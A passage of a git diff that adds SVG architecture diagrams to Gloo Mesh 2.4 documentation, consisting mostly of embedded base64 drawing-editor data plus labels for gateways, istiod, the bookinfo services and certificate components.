UwMDEwmXeZJVx1MDAwMpZ4mfgjqi1cdTAwMDZGL6iI8Uh4MP9aXHUwMDE515g3ujhcdTAwMDaBUmVcdTAwMTFcIjRYXHUwMDE3QmnNhHAwxjmytDDte0yjMlx1MDAwZVwismZcdTAwMTEg02GLMOKHLeFcXGNQfiwlyKCRzeWS9VSvXHUwMDEwidmV83JcXCRTkntcdTAwMWXGKjepl4e65MV3e4L5v+Vz0q5W6Ut52GhcdTAwMGWT+el7L1OwXHUwMDFmjlx1MDAwNtb8XHUwMDBmREWmpWtcdTAwMDdFXHUwMDEwwi1cdTAwMDZ2K0dcdTAwMWHglOhcdTAwMDX33OjT7lJoXphY81wiXHUwMDE1nCktTJ6C3G+8NXn2XHUwMDFiXHUwMDBlXHUwMDFk7tPb1qVyhU5MXevmwPeViG3TYKB8fTtcZr+1rjqoU3vT+d6g81x1MDAxMilcdTAwMDRcdTAwMWQ6hVx1MDAwMOrFXHUwMDA0XHUwMDA24kU5W6mNO4dOXHUwMDA0+7pSWplcdTAwMGWAh4fOxXxcdTAwMTaF5NYkdc3cQlx1MDAwMlx1MDAwYo79nSc/UPmnQuXSu72wbV+AcFx1MDAwZtrEWlx1MDAwYsXZNkGbjXY+Nok2XCJlMbpcdTAwMWU9VuqJViT/rVx1MDAxMIIu97XnyFx1MDAxNDQgkmPGJFHavYL9zlx1MDAwMOGBXHUwMDA2n4ixVnlcdTAwMTJzTjGB9/o5ZH5cdTAwMDDiT1x1MDAwNVxid7lZ+fhGXHUwMDAw4Vx1MDAxOSGDkTuN0Fx1MDAxMjNcbsqzucO2U1x1MDAxZryP7m6Tj0/3+crL/WUjMXu4XHUwMDBmvMN2boNcdTAwMDFNNJ22XHUwMDE5wWy5/t4qkdjLXHUwMDA28/TXXHUwMDFlxlx1MDAxNJOAaFxi0N1cdTAwMDc9glxmXHUwMDBln/dwXGYyWPaD2KSv2ShfVrP5zPXwKd5cdTAwMWa/91VoKCubxkRcdTAwMTTTfNQr9nX8/C6TXG4/NMaN+5uVWIadYi3uJ493dHBcdTAwMWTpZFjjUXf1S5zGi5uNu7aUh4qKcKNcZsTuf1ilXGbGXHUwMDA1Rsg2aHCf4q3QuJm+vC68XHUwMDBlzidcdTAwMGaVt9f2NOiUgSlTXHRQKdB4peg6Z2BcdTAwMTZcdTAwMDJjXHUwMDAyNMzYV1x1MDAxZZVcdTAwMDI34FxmVVRnde1AXHUwMDFiQMc1cFx1MDAwMCaR4SdEO1WsNnlgXHUwMDEy1JxcdTAwMDFswYykQ1x1MDAxYT1cdTAwMDBcdKHweVx1MDAxZiR4fy40Wo34y915p9HJ9bvX0XycXHUwMDA0XHUwMDA0XHR+aMLSXHUwMDEyrtBcdTAwMDRkSaWJgH1AYoHZUll7031cdTAwMDDk3Vx1MDAwNHdcdTAwMTJhXG5VY2C5m4xoxFxuwy6kiL2P5vwqyFx1MDAxY5dcdTAwMWF2XHUwMDE44CaCXHUwMDAzP/FcdTAwMWKPW6ZcdTAwMWGzXHUwMDAyXHUwMDExpprad6v5cNgyyWNcdTAwMDZTlGZIY+Y3XHUwMDFjfCeCKCgmNi9qXHUwMDA0XFyuTlx1MDAxMHHg8pJSqpCQwm/EvVxcM7VOpzVcdTAwMTg5I6mUrlx1MDAwN2eYXHUwMDEy2LpcdTAwMTnmm1x1MDAxYl935FVR1sxcdTAwMTRE56GPrshcdTAwMTNGg+Y3QFJsnioxjmuyXHUwMDEy0YKYsCjsKdQ0PVx1MDAxMdgjY25cdTAwMWYgxcCjOdxAYVO3XHUwMDE4IVx1MDAwN/vL4z2/XHUwMDE5lTLNIexcdTAwMDdcdTAwMTHBw9HdarpcdTAwMWWLUfmOXHUwMDFiLsxcdTAwMDYtVWDx/EV6/FZs34ZvY1x1MDAwZsdkPr9u23+/jTcjiGXIS2Y6K7Zyl2Jka13mXHUwMDFj2/KrNqLgXHUwMDE2iIamgpuffMXXiKW2JMVCUlx1MDAwZehpi976LGuIXHUwMDFkTmxtsVx1MDAxOOs6dIhcdTAwMDD8bewt19In1dKoWdtcdTAwMTFcdTAwMWGOfMD8u1wiXHRsXHUwMDAzsMDrXHUwMDFkXHUwMDFizddyhWGDwYRcbrlcdFxub1x1MDAxNbJyXCLGv1x1MDAxMOPPznvj2rBbq7ZghLOLc5tYbFx1MDAxYtOyY5SKc9jLXHUwMDE2sSur38BzN3ZccmLR2qu2q8mOJnjz5Dzvp1x1MDAxYsytXHUwMDE4iJJcdTAwMDX0XHUwMDBi+CAx4d5yJTfPRJdyjSmex6NcdTAwMWQngkVJy1Q1V2DWUCaZdijzXG6zMPWdXHSwTpMxaZ/I71x1MDAxNp/KVH09YYPBL1x0YPHepc6WenlcdTAwMDHwXHSlMWZcdTAwMTTIXHUwMDE0olx1MDAwZVx1MDAwMSzIXHUwMDAyUkO5MlWMtVx1MDAwMKr98Vx1MDAwZZdcYlx1MDAxNrdJeXv2zuxRNZSC5YCBm1PTQ8nuu1xczFx0zFx1MDAwMqmBVyHYOiWna3P6VrEzrrI9v7om1ltaXHUwMDE57rEz7iXUXHUwMDAw16RcdTAwMDJcdTAwMDNoi/Od+PDyNvKCbmLZXHUwMDFi9ZbXb1x1MDAwZrORXGZ4ciMmJvjOXHUwMDE2PLOCa0RcdTAwMGJ78MxcdTAwMTFcdTAwMGV4XHUwMDBl4rGFXHUwMDA3aeqnKOXHm+LNUT5cdTAwMTE7R+30Xas4bURcdTAwMWX6o/O2XVx1MDAwN3P98f3T7Wvn4rJ4KabJcLlC7+zlPv9t3N+17jv06vy9fK97l/nrq5tLZX/DjyfnJ3jmr1xinpHuZcglQtjk2mzOXHTxtFi77ZDszWxcdTAwMTiuVqZPNI5wJ+DYSWFcdTAwMTemi+iZxXJ8QmdcdTAwMTCDZyTAJJFI+MVcdTAwMTn+QOWfXG6VX1x1MDAxNTzjXjmCXHUwMDE53zdcdTAwMTVbtCloXGZen2OVx9HTdTlUXHUwMDE0qFx1MDAxZXlD0dG3wlx1MDAwN6pXXHUwMDBiXHUwMDExXCJcdTAwMTXE4Fx1MDAxOW5KesNcdTAwMDP6wYf59b9cdTAwMTBcdTAwMWa+NHbGvWtcdTAwMTDYJliTpbp7fihRmExcdTAwMWbK1WzsrXWT63KdqlxcvlfdLLDgXHUwMDA0z8xtMFvwzMo5z1xukVxievBcZiFYXHUwMDEw35OeIIPD5z3+7thcdTAwMTnPcdkgV3gqVdDoonD3npmVQlf15/xm4649ouPH5HCPXHUwMDBlXHUwMDE2QmtB7M1cIv1A5ir5kCe95+6trOjHfKc7aGWu3lx1MDAwMk5FiMaWXsTksLVS+dhcdTAwMTaTc6yj5IPE5ChcdTAwMTP8L1x1MDAxNPdcdTAwMGLtZblcYsmnks/pwfT+JcNCt5Hcy11AXHUwMDAw5od9LC3hT0jOd1x0yVHY3edcdTAwMDN2XHUwMDBlQOk2NZ/6zV61XotcXPWi569cdTAwMTnJiuHnxFvjXHUwMDFiXHUwMDAwqbCF5Czw6cOmo98mJlx1MDAwN0khXHUwMDEwI75VK06JpD9BOXv27nKvPYHhjorYT8D89DXZXHUwMDE45F+SzcyLxqm4ymaKkVLZLTn8XHUwMDE0oTJuUXREWnxcdTAwMTF4tGJdcSbtcUf7NYt0bclqXHUwMDBic/aqIyOlNMefX1x1MDAxN/7zVVE5QbQlXHUwMDE2grtLgZphvz8+q5jgnXqrXHUwMDAyt/SL2fmaUjVrs/JEXHKPojXSNaWJUqLJUlxiiVx1MDAxZm54P99g7vNcdTAwMTJLS4HwwFx1MDAxN9VcYvbJlYZ/nDLAXHUwMDE0+LNcdTAwMTSKcC/f7Vx1MDAxZVx1MDAwMT+mbo7QMFmMXHUwMDE5Y4Iwh+bpWGlcdTAwMGJYKINcdDNzJLdWXHUwMDAzmGKmgav84Vx1MDAwMT/eW9PZUsBcdTAwMGY1TjZcdTAwMGXc3ZB9plx1MDAxN/2Bzj6ja6hcdTAwMDXGMDB7peBBK2DzXHUwMDFm79gy4sfbXHUwMDFkeWaP+CFgmXBFXHUwMDExbELwqMH0WZuUtpBEkmujfUojvDalb1x1MDAxNfDjLtvzy2tivVx1MDAxOPBcdTAwMWb7b+cgZfKML/B0Mpw+zVx1MDAxMtW7yUyJ1KONXHUwMDFlucDfXFzvsUD2KOVVVyxdXG5S5msqK5BTIVZbWO1PlPJcdTAwMWVRylx1MDAxOIExY1pcdTAwMWasufPmSOheqJ6YwD0tN6qbuFxuYEs6slx1MDAwYoRcdTAwMWTYO8JWXHUwMDE0xdf9weTSLUIgjn5cdTAwMWZcdTAwMTErdyHEwYuwLfD442U4OeiMounUa6syqz2kumhEw5cuKFx1MDAwZaY3o6b7XHUwMDA0MTX0XHUwMDE0tfl0Plx1MDAwMFNYXGbMdExcdEdMXHShfEB8b6T0XHUwMDAwpHqxLy6z8WR0pEalRKX+1lxmvetcclx1MDAwMYmrJUBajTJh1Fx1MDAxYpG4k5v1XHUwMDA3kVx1MDAwZYRIxDhXiL3QhFxykIT70aapdFxij2uj4NJgXHUwMDAzUlxik2V4wdr/M0yt4Is/JIVsgvzrM3bPalx1MDAwMDBcdCCJXG54qOZcdTAwMDTFdFx1MDAwMVd8XHUwMDFkksgqJO1ILHFcdTAwMWblKipcdTAwMWVLJp5i7ziSo+e9cslcdTAwMTEosYmclmDDmMrXQF+kWptcdTAwMTSwXVx1MDAwMFBzpsK45Fx1MDAxOMBkbVK7w+E/XHUwMDFmXHUwMDBm5d/SYJBcdTAwMTlcdTAwMWKL9Pe3+nfSqk3D7r2W//mYgIGSmvku//P//vl//z9Klt3RIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientintermediate CAroot certificate \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg b/gloo-mesh/platform/2-4/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg new file mode 100644 index 0000000000..5809d9e18a --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3dcIkm27nv/XG6tvq9DnvDmvMkgXHUwMDA0skhcdTAwMTihO3excMKDhJU46/z3u4OqXHUwMDE2XHRkJIlwyZSYXHUwMDFlqlxuXHUwMDEzXHUwMDE5RG7zbf8/f52c/D34fKv8/d8nf1c+SoVWvdwrjP/+l3l9VOn1691cdTAwMGW8Rab/7neHvdL0k7XB4K3/3//1X4W3N2f2LafUbf/6ZqVVaVc6gz589v/Cv09O/mf67LpWr1JcdTAwMWFcdTAwMTQ61VZl+oXpW7PLXHQkXHUwMDE3X73rdqaX5lx1MDAxOFPJsUBfXHUwMDFmqPcv4HKDSlx1MDAxOd59LbT6ldk75qW/R58vycwrP715yj42VP4uVqnmsrOrvtZbrafBZ+vX7yqUasOea0/9Qa/brGTr5UFcct7HXHUwMDBir399r9+FXHUwMDEzmH2r11x1MDAxZFZrnUq/P/ed7luhVFx1MDAxZnya19Bs+79cdTAwMGXhv09mr3yYn6lcdTAwMTFzXHUwMDE00pzQX89f75rvXHUwMDEzplx1MDAxZMWV4FJopinicmFj591Wt2c29n+Qkq+8ONtasVBqVmF/nfLsM5hcdTAwMTSVXHUwMDEys8+Mf/9cXIKUQ1xcXHUwMDBmJr4+UqvUq7WB+VxmXHUwMDExjnY/2Gwrlek9UVJiyoSYvWGu/1x1MDAxNi/PqGP66kU5mqyevV09lF+SY35auzy9Pnv72lx1MDAxNHxgOHy4yZSS40/xctNM03bpfHB5+/fv9//f4q2pXHUwMDE1em+/b8HfffNcdTAwMGbXXHUwMDE5mJ9cdTAwMWZdJFE3mbrIp9tsqP7tPet3zyaqx6uNj2facm3LRdOFXq87/vvrnf/9l9+6zd5LUU1cIrWn+NlcdTAwMTmRtfRn6vzyMti6Sz95+FYu/GJcdTAwMDAsXHUwMDE4XHUwMDE3WFDGiJzRTKveacKbnWGr9ZdrZ+syJbIxJWaYXHUwMDEyrVxiU4G5MtK/Ped6rGjtXFw99vP9xFvy7SbsXFwp4Gc6QiuGyfRcdTAwMTnPcyXWXHUwMDBlUsBwWmOJOVx1MDAxMdTKlUxzYFp/riREXHUwMDE1K1x1MDAxZVxciVx0QXMspzy4Ui2xIZVaXG5cZv8/XHUwMDFjXHUwMDFiTn/gN9mwfZFvXGbHjY+3WD5byXS6LPGRXHUwMDFhb4FccpPVzjkpZ1x1MDAxNMjYXHUwMDE0vlx1MDAxY51F7kavNNRsSOy6UWOtOWOBmVDxilCdVOOW1d9cdTAwMTVcdTAwMTGvT48l9lx1MDAxMHomZJS6mZDMMyEnc0womZVcdFx1MDAwZq9cdTAwMWG50JowLNThePJAqvEwvMOYtqswITVcdTAwMTVcXFx1MDAwNeee88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZfCr8Kkwlx1MDAwZfxONP21SKo57sGaODyYXG5D04cv91xmeoVO/63QXHUwMDAzWlrmIKXlPHcsM5BSoG1dXHUwMDBmvsg/mDNcbrBDsFx1MDAwMzLQJkrtSaYvc9GbQnGSXHUwMDFmpVx1MDAwN61C8Vxc0tJcdTAwMTaU2lM6Xs1QNri44o+XpdfKa/Qlc1x1MDAxYWbGdOOVXHUwMDA1xqRawH+Ki8B8OVSVVOLzlrTvyi/PzbPXaqubq4adL7miMlx1MDAxY3yp6Gq+xEuciFx1MDAwNdwmKVx1MDAwZqnKVnHinmmaSytQo5pSSohcdTAwMGVO0/VatsXxeen58amZPr/tpFp53FxyO01cdTAwMGLMtYOt5lx1MDAxMlNBzaXDIzUmXHUwMDEwlVxc/YFOjFx1MDAwMyE1pGzMI1x1MDAxOKJkLV9DYTLMytvEXfte3VXuy1x1MDAxZoPea/d2f8yDvsU8XFzJqULAXGYxhFxiZXPMwylzgNypXHUwMDAw1mBYUW3lnY1cXFxyUrA5xqDLvENdXHUwMDFh4jezXGJGOFg1XGZcdTAwMWSOWUKmXHUwMDBiqN13xsFGxXRcdTAwMWSrXUR6t7eV9Fx1MDAwM2o/TG7qXHUwMDE58v5ZT72FXlx1MDAxN1x1MDAwMI3a8VxynPs8vtmJKpBcYq2CNpgsQVx1MDAxYoKBXHLoIf1mf5Tkp9JuoysmMFx1MDAwMeRcdTAwMTQ8+POS69Zq1Xw6Kpu53Cm7fVx1MDAxYsviXHUwMDFlRf93eYUhO69cYs1cdTAwMWQuwSBCXFxcdTAwMDG58l2xilx1MDAwN0xcdTAwMDIohdxcdTAwMGa6xCuCaHZIa3xcdTAwMTNWSUR64/y4QVx1MDAxYvzqXHUwMDFly9PEJ3p4aoeaVTC1sYrSiip3zG1cdTAwMTWjsMZn8uHp9S6eT9zk3i5zb7Xr5pWFUVx1MDAxNlxifp5NXHUwMDE2/a27dFx1MDAwNHNhZ1x1MDAxM6JRUPNCXHRS0SV/RilWWLFcXPSASICQLDzxxTd8XHQhgVx1MDAxOcJcdTAwMTns60iVimTpp86YXHUwMDE3L1rNSPZcdTAwMDVfXzfki8W/NKh8XGaCuq3koF7sVyaKJJ7rref2a6TyTNlcdTAwMTbcYdF88lx1MDAxY9+yxLhbvMVcdTAwMGbPXHUwMDAzfX318bSFdUujYkxedM5cdTAwMWGpOn1SV5+pxnm0uIV1d3W821527tP/XG56wT1IzblccrlcdTAwMDWmXHUwMDBi3S1cbkxKQFxcXG46iyatkpj+x1x1MDAxOVZoXHUwMDAxXGLKT2byoG7G1+nj+25GzGeK4ktQupDDP8kjglIw91x1MDAwZmlKrlx1MDAxMpTfXCLfXHUwMDE5mXQ7g6f6pDKFV3OvXlx1MDAxNtr11ufcnZ7StfFcdTAwMDZ2qj3Y3cm/O1W44Ljw6b5cdTAwMGb9XG5cXMesx+a/eNqqVztTsVx1MDAwNTuv9Ob4Y1AvXHUwMDE1Wl9cdTAwMWZo18tlN+IowW5cbrBmL1x1MDAxZVx1MDAwNCp0e/VqvVNopVx1MDAxNja7tNX+oNBcdTAwMWKc1Ttl+MTisVQ65fl3NkBJrtDBokFBOGKaU1x1MDAxNFx1MDAxYye120WNXHUwMDFmS7fp/sdr/nxcdTAwMTTNvjaa6dDjJGbneYCJ4cVJXFwjjpQ78yh07O9cdTAwMGJcdTAwMTCenzWq9ntYfYpEXHUwMDFhPZ2f11x1MDAwNfnBSdvCSTs63lx1MDAxZC2LM52SKGXyxUYle45OY8kzNL5cdTAwMGLjKayCdd5cdTAwMTc8JKzTZPHVL1x0j5ViXGYzXHUwMDE03GXkf56hxXXcx71KNVx1MDAwZVx1MDAxYq7TXGJLJHSIXHLgXHUwMDAz4LpKoT9cdTAwMThX+oNcdTAwMDNcdTAwMDG7XHUwMDE12GZcdTAwMTHYfe32UMiOM2uQXHUwMDEwiJxhsFx1MDAxY2TwXHUwMDEwe3KSfMg/3SVH8i02blx1MDAwZdRphJ7b0kZ8kd0+q1x1MDAwNEzgmiAgyOnzfJWAXHUwMDA2U09QwShnkkikyMK+1spcdTAwMTnZMrBjRFNOpTrSeHq9nE8lXHUwMDA2Q1pLJtFN4YWXb6PR+Fx1MDAwZrDbXHUwMDE2sNvR8Vx1MDAxZdeyn29n5zfdXFxulMvfXGY/qjePOVg4jIe7XG4vel/wgHiRa6tHQHCwNylaI3Dif5whhYtcXFPsozikdrBLcdhT6HeCXHUwMDE2yVL2XHUwMDE1wVhTxEiY069cdTAwMGXhXHUwMDA27Fx1MDAwZurdsidExHLu01uDiCtA0pLvb2GH+1x1MDAwMobcmk6MteBA9FhcdTAwMDd39D+mJ/FeJ1ounkVz3Ums0Hw9QyzcwFAwaSw+SVx1MDAxMYZn4sp0+Vx1MDAwNVxmmSOZ5ExwRVx1MDAxNdY+KVx1MDAwNFx1MDAwMYChNXnsW8BcdTAwMTBcdTAwMTMuTerbsdbEZDNlRN9fXHUwMDA3b2fXMVp7ZWeVXHUwMDBmcv+DXGa3hVxmd3S8O1o2o5MmXHUwMDBmI9Vovtz0qmp8MXxcdTAwMWY3tnBcbrd1XHUwMDE0actaLt1I3z2NRCtcIiq1bdQkp1BJVlx1MDAwYqh3jTODdCF2gWL4vbNccsg5XHUwMDE02dpFg0V15i7ZaKl8nTdftrBu4fW+qOJZXHUwMDE5P009iPqkqZO5WjKMVLZcblwie1/wkFx1MDAxMFlZXStcdTAwMDRTSjDRa1TK+Z9nSDEy6FDho0MlcohLh9o7MOzJo0qQVkpi7KqHXHKd4jxcdTAwMDBGjrW63ZPbSr928u9OoTp3wHvwqK6AjotwebbZha1uXHUwMDBmN9tjKNZcXEJcdTAwMDZcdTAwMDYx0evYxG+ZzHhyS9jLa1nIRDd2l1x1MDAxOH9Ews7vUmLtaKFcYqe/nuf4nTHuKCG4Zlx1MDAwNFx1MDAxMfiLsoNmrFx1MDAwNCv45936MjzhXHUwMDFlXHUwMDFkXHUwMDFkqCsl/neVXHUwMDA1oVx1MDAxYVx1MDAxMYSOXHUwMDE0KMv4c4uNP65L7H38+XqHUEo+XHUwMDA0xFx1MDAxYZtoQ09pouZe9ZEmxW63We+8dk/G3V5cdTAwMTNuYKniKU5cYp/7ZnBxMui+2WTJ3OZcdTAwMTdcdTAwMDWHx758pcCvXHUwMDEz9Vx1MDAxMlx1MDAwM8IqXHUwMDA2MFx1MDAwMupXc1x1MDAwNLcyRc73XHUwMDFlh9JylqDv7YFUXHUwMDEwhUFcdTAwMDOpXHUwMDAxpIDddEbEXHUwMDAxXHUwMDAxXHUwMDA0XHUwMDAySWhKMaJcdTAwMWU1i8aG1yCHQFx1MDAxZVx0XHUwMDA0XHUwMDE0v1x1MDAwNFxiXHUwMDA0xUxcdTAwMDEvXHUwMDFjTjzspFxiy6ZcdTAwMTNnXCLmn+5j8Vx1MDAwMLpoyvKl4bRMz+GcK0ZcdII/kElcdTAwMWFwfahaeDObcyRmRPHfz1KT35/4wv3L2nj2XHUwMDFiXG79wXm33a5cdTAwMGbglz50652B5y86NaxZq1x1MDAxNJZ4XHUwMDFlVna/t8jDb2bF+Xs7+9vJjMqn//j6+//7l+enI3ZcbjSPJdqbrfeX+891QVxiXHUwMDEx9tpcdTAwMWaBXHUwMDE1VoxcdTAwMDXP4+g9nHZcdTAwMTNcdTAwMGavYtRcdTAwMWVdXHUwMDE23q/fazfxdOiFXHUwMDBm8cnUXHUwMDAz7DGfqWeVPUEqf2yyx11Y+yVspCt2/Eu6aGFsXHUwMDFmRlx1MDAwZeiR36142VxiXHUwMDFmRF578EHg2P6/O51Cu2KHXG7iu5bHplDBe4vfs1x1MDAxZLA1rV5SsEo1WyeelnmuXHJzk5vJZyxcdTAwMTeJXtFqM3PbXHUwMDBmO9tSXG7GgYVtpVx1MDAxMHOYYbOCPSvbUo9qVlx1MDAwZrY1XHUwMDE5tYJcdTAwMWMyoXaThjlcdTAwMDcq0duSUDD3M9wywWuH3zMkuF0mMJOWtVZHXHUwMDFm/1wi5pDKXHUwMDA0olx1MDAxZFx1MDAxM2ek2lx1MDAxNJAvtG9cdTAwMTBUOtj4XHUwMDE4pMJcdTAwMDA02W5UOTZcdTAwMGVMrZnmgjMm1cxH+SUhjFx1MDAxM1x1MDAxMyGQXG5cdTAwMTKZmKFcdTAwMTHVi1wiXHUwMDAzXHUwMDEzLYxcdTAwMDfokMH3vVpcdTAwMTJ275rNxvDvyDBnY1x1MDAxMMrBMFNgRUtC5IxJZjZcdTAwMDZxOGxYMFxmhCOlIHrJxjguS8JGhNN3PehvTVvCKoHg9luNXHSFQSOvlVx1MDAxZOqvecIqgpQjXHUwMDA0U0Bnmlx1MDAwMNHNw1x1MDAxMq1cdTAwMWRN4NyR6c3kfneXXCKIeCRcdTAwMDEg2Fx1MDAwN5VAXHUwMDAyXHUwMDA0MSEk4kv5P5hxSlx1MDAxOWV/ilx1MDAwNLLJXHUwMDE5f2w8J2eQRtjYaJhQOFxcOkv+/Vx1MDAxMjTcXHUwMDAxXHUwMDE4SDhcYlx1MDAxOVx1MDAwMoevJVuSM4Fkn3+Hjfk9XHUwMDEx0+5cdTAwMTToTVx1MDAxMoooV7OQw0z6YUd+7UpgXHUwMDAw1P9Z0o/Que8vUf6aws+e4WiVfZozgF5yXHLRXHUwMDE3a5Rz1/pl3OpcdTAwMTRcbplcdTAwMWXipefU551F9IUnmiOMXHUwMDFmXHUwMDE3S9O4XHKe+UI/RaZcdTAwMWNcdTAwMTApRCAlNPzFjr82XHUwMDBl5shAwVx1MDAxYyzBMCTMXHKKjyqac6A22ptcdTAwMTlmv+tW+mGL5njs63tcdTAwMTBcYqC7tVx1MDAwNyVjWoHgkcHzIP3vcTghXHUwMDEwUI8jXHUwMDA1XHUwMDA3PsdKXHUwMDExPd+BXHUwMDEyK9NETzLQRlx1MDAxOGhMYnuFzCbRXHUwMDFjwqhcdTAwMDPvKWwgLlxiXHUwMDFjXHUwMDE3Lp1Fc6jDXGLRXHUwMDFjK0pcdTAwMTBe7q9cbvpSS0VcdTAwMGaZ3Fx1MDAxMVxuXHUwMDA05K+L5tBcdTAwMDY1Wlx1MDAxN85cdTAwMWKBaVx1MDAwMfrVI5pDXHUwMDFkXHUwMDBlXHUwMDA3zk0yXHUwMDEzXHUwMDE2UnH+PVx1MDAwNOQ/ymJuT1hcdTAwMWFrWnDOXHUwMDAwksHfPTalXHUwMDFkReF/TMGRaaq4PG5cdTAwMDBkJ37zWCT7NeHPip6L9lC2oCBcdTAwMTNcdTAwMTSmwUFQJTdpJvrPz7fti7iePFRaL7nP8+9cYr/99X1cdTAwMDD68lx0ZXOlgNKCRJOCtH1YTHLbMFx0XFxcdTAwMWGKMT1Ej1x1MDAxM1xyjV6exsXK3VPjVvDMZ6N0f1x1MDAxOe8mwptcdTAwMDSe/yhUK6VcXFx1MDAwN92UVVx1MDAxMZ2/5OVVJb+FdSOptmhf5bMvstiaoGy7ULq63kZ67o6Od+vLrsr69b7gdpCxr9y0xt+lvaBcdTAwMWHwXHUwMDExMlZK8OxcdTAwMWb/81xmq92IXHT36b2JhENpkFheXHUwMDAwobkq63el4FxcLpRjlFx1MDAwMXRgYbZcIlx1MDAwZpBcdTAwMDP81uuWh6XBXHUwMDFiSDlPXHUwMDAzb1fFcisww6LZ57nNfTXJYtZwXHUwMDFkQVLCjVEqOOc/x/DDMFx1MDAxMz+7oJc30bt8LYVxXHUwMDBlh1x1MDAxYixcdO3XTFSCrbA1vt82WGJYmi2HuDbWT+sydJ/Enay4TfdcdTAwMWE5eVx1MDAxOT8vP752N1fmO1r22CBYr5wo1MvVPi+P7rOdwmsuTs5zW1j3WO7aKlxi5n3BXHUwMDAzQjBcdTAwMWZBjE2xPtZijVx1MDAxY0j/81xmKVx1MDAwNFx1MDAxM9qvR6nJz1b7gmBcdTAwMWWYa2lcYlx1MDAxOUEmXFzPZZhcdTAwMDXwXHUwMDAxQFe5XHUwMDAyUKjV91x1MDAwNlxcau7jW1x1MDAwM1xcK3DHXCLgWtrivsCW9jOzmGBrXHLxvLzuxLtcdTAwMDXZ7pJnfpaPXFz0XHUwMDA2g6dMuMGWxNhcdTAwMDdsKaJDXHUwMDBitohpJcjVQfOeN1x1MDAxYVx1MDAwN3KbLPc/ns5abHKda1x1MDAxNPmwelW31OWvo7ePa9ldgaJcdTAwMWRtl3/EI5O7XHUwMDE32k5cdTAwMTVSXHUwMDFm6HEk35uJSVx1MDAxOLe7XG5seV/wgGCLIXuKXHUwMDE4V1x1MDAxYVx1MDAxM8RFcKvX/zxDXG62JCY+YEsxcVCwtdxcdFxumVx1MDAwMbb8p8j9XHUwMDE3ff9cdTAwMDYyvcJcdTAwMDBwiVx1MDAwNWvtyLm1XHUwMDAydixiraUt7lxya1mjgNRkoWG6XHUwMDA2h8un5lNfIdFKqqdiXHUwMDFhZ87On0+/VVK2R6hFXHUwMDE08fNrsdBCLSaoyUw90vL2s/dcYk9IlLhG7U4tm+y/9rOt982xwHEtu6tcdTAwMDDgjra7K6C19e2uXHUwMDAyWt5cdTAwMTc8KNCyN+QzkyGFWKNBu/9xhlx1MDAxNWdcdTAwMTHlM99bUlx1MDAxYy6nlmBIw0b0XHUwMDBmzjpx46zKqF5cdTAwMTnv16e1XHUwMDAycyzhrMUtblx1MDAwZmdZ00yBem3czaZ57XqNiZ3+kZC1uHsxnXOXVlx1MDAxNKeO0oRSrTBmytVcdTAwMWRomjYgsENMJlwihf9MbcPO2Nv0JzHOaM6kgof2SDVlxNFcYmQuwlx1MDAwMlx1MDAxM0WXeVx1MDAxZkRcdTAwMDRR6LDDXHUwMDE5QpFs6lx1MDAxZr8/mSV2mjI2js2cbqaoXHUwMDEwRFDsSnOcpZtS02Ncbt4zyFx1MDAxNuPlzM5A6ab+Tu75XVHTXHUwMDBmjsHWQKso7CrD/9qVdlxiZlxmXHUwMDBioVxiZZLjI682tNK/eSxR/my5v9x/ri1cdTAwMDBcdTAwMTW2XHUwMDBloOFwLU7XmT/jXHUwMDBmmsMqXHUwMDAwXHTVXHUwMDBlJojCoVx1MDAwYk3VfLNEYFx0XHUwMDA3iE9wJZXgmNpcdTAwMWKKbyr/TOdyZfrWICNvufJonESlIzVhkjA1LTJbXHUwMDE0f1x1MDAwNGlcdTAwMDYs466M+Fx1MDAxMX++4lx1MDAwZuSMkoxcdTAwMTKiXHUwMDE1N8qPerVOYo6gIP+m5CGQ5N8sN/SHQ/ObwoxLwTTVJmBcdTAwMDN33GtToJAlU4IpXHUwMDEwyJxcdTAwMWV3taGV+M1jkezXlH3+TjZqN+8oZ6aHavB4ZrN7Ty70qD+KislVZUzYZSs2+Z782+dAXHUwMDA1gHjWXHUwMDE2MKDwXHUwMDAz5tpvOLPd0e7HsuzDZKmyiCBcdTAwMDKAXHUwMDE0VOKROtr8e4PM0XA4prYz+9R2wGlaXHUwMDFiQbpcdTAwMDa3PHSSpeb5oEfuXHUwMDBi2Y/zUnxcdTAwMWM/fTxcdTAwMDJuIXZuXHUwMDExWlx1MDAwNnRKb8gty/xcdTAwMDFy0+ap/scrzVx1MDAxOWPUXTF8VNxyoFx1MDAwNkpcdTAwMWKoXHUwMDE2Zu9LLDRYXWKNPkLsuZVNn02GXHUwMDAzOfosRmkn3sRP36pg3WNesimgsytcdTAwMTaNXHUwMDAztlx1MDAwNDxAqlxmooJoTI91xpvKolx1MDAwZlVcdTAwMDXBysdcdTAwMGbZt9v+x81bw5IlXHUwMDEyhlxm4sTLpdRcdTAwMGat7F3io4RKNX09uitcXG9h3af0bYNWulx1MDAxN70k8HMmx87bT83xXHUwMDE21t3R8e5o2dy9aMViubxcdTAwMWPedPv3ubTKv1d74T2F504m+UBcdTAwMWayzfhcdTAwMGJcdTAwMWSkJ6PLOL5VXHUwMDFibXdVyMn7h1x1MDAwNNxuPVqLN5uZaORGVq4rp7HPx8fbq1x1MDAwM2sle7NLu60jqTDujTW83f73P6TwXHJ0kvKBb4ChgvW7PEyNXHUwMDFjpkxcdTAwMDJN/Fx1MDAxNMn9pvdcdTAwMDNcdTAwMTfJrcBkoSqSs5fHSsKwYnSNqXLPjdPnTvk6e/lcdTAwMTnjtzh2l1KUfquh3Fx1MDAxZbEoMLxPn1vMt8f3266Rw1x1MDAwNGvOVZjnjfspyOt